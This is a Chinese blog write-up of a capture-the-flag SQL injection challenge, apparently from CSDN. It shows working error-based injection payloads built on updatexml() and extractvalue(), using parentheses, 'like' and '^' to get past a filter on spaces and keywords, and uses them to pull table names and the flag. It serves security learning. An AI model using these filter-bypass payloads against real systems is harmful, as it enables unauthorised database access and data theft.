• 非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)


    题目环境:
    image.png

    没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了
    做了好多这个作者出的题了,看来又要上强度了

    判断注入类型

    username:admin
    password:1
    这里把参数password作为注入点

    image.png
    1'
    image.png

    单引号的字符型注入

    万能密码注入
    1' or '1'='1
    image.png

    万能密码注入被链接
    猜测某些字符或者关键字被过滤

    SQL注入字典查过滤字符
    image.png
    Intruder字典爆破
    image.png
    光标选中参数password的值1-Add选择爆破目标image.png
    选用字典
    image.png
    Start attack开始爆破
    image.png
    OK
    image.png
    爆破结果:
    image.png

    741为过滤内容
    可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

    继续测试

    admin
    1’ or

    image.png
    image.png

    可以看到被拦截了
    通过刚才的字典爆破,可以知道1’和or是没有被过滤的
    那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

    刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

    空格限制

    admin
    1’(or)

    image.png

    like没有被过滤,使用like可以绕过=号,like <=> =

    重新构造万能密码
    1'or((1)like(1))#
    image.png
    image.png

    可以看到绕过了空格限制
    同时也登陆成功了
    然后想到了之前做过很类似的一道题
    SQL报错注入也用到了空格限制
    (已经试了堆叠注入和联合注入都不行)
    这里就索性试一下SQL报错注入

    知识一、

    SQL报错注入常用函数

    两个基于XPAT(XML)的报错注入函数
    函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
    函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
    注入原理:
    (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
    (局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

    其它
    函数floor() mysql中用来取整的函数
    函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

    首先使用updatexml()函数进行SQL报错注入
    爆库
    1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
    image.png

    得到库名geek

    查表
    1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
    image.png

    得到数据表H4rDsq1

    爆字段
    1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
    image.png

    得到三个字段:id、username、password

    查字段内容
    1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
    image.png

    得到前一半flag值flag{389c9161-c2eb-403a-80

    使用right()突破字符限制
    1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
    image.png

    得到后一段flag值b-403a-8062-80f219ca1c30}

    拼接得到最终flag:
    flag{389c9161-c2eb-403a-8062-80f219ca1c30}

    使用extractvalue()函数进行SQL报错注入

    知识:^这个符号可以绕过or的限制
    这两种函数大同小异,不再赘述
    当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
    大家可以看下边进行对比学习

    1'^extractvalue(1,concat(0x7e,(select(database()))))#
    image.png
    image.png
    1'or(extractvalue(1,concat(0x7e,(select(database())))))#
    image.png
    image.png

    好了大家已经明显看到了^和()绕过不同限制的区别
    那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

    1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
    image.png
    1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
    image.png
    1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
    image.png
    使用right()突破字符限制
    1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
    image.png
    拼接得到最终flag:
    flag{389c9161-c2eb-403a-8062-80f219ca1c30}

  • 相关阅读:
    MySQL2
    Ubuntu22.04下安装kafka_2.12-2.6.0并运行简单实例
    VMware部署项目
    UE5安装visual studio integration和Cesium失败问题
    从语音估计肢体动作
    QCC51XX---GaiaFramework_Init分析
    唯众实训授课助手 实训课堂好帮手
    Neo4j入门基础:CREATE,DELETE,SET,REMOVE(看不懂我直接吃...)
    JAVA毕业设计HTML5“牧经校园疫情防控网站”设计与实现计算机源码+lw文档+系统+调试部署+数据库
    LINUX中命令
  • 原文地址:https://blog.csdn.net/m0_73734159/article/details/134450773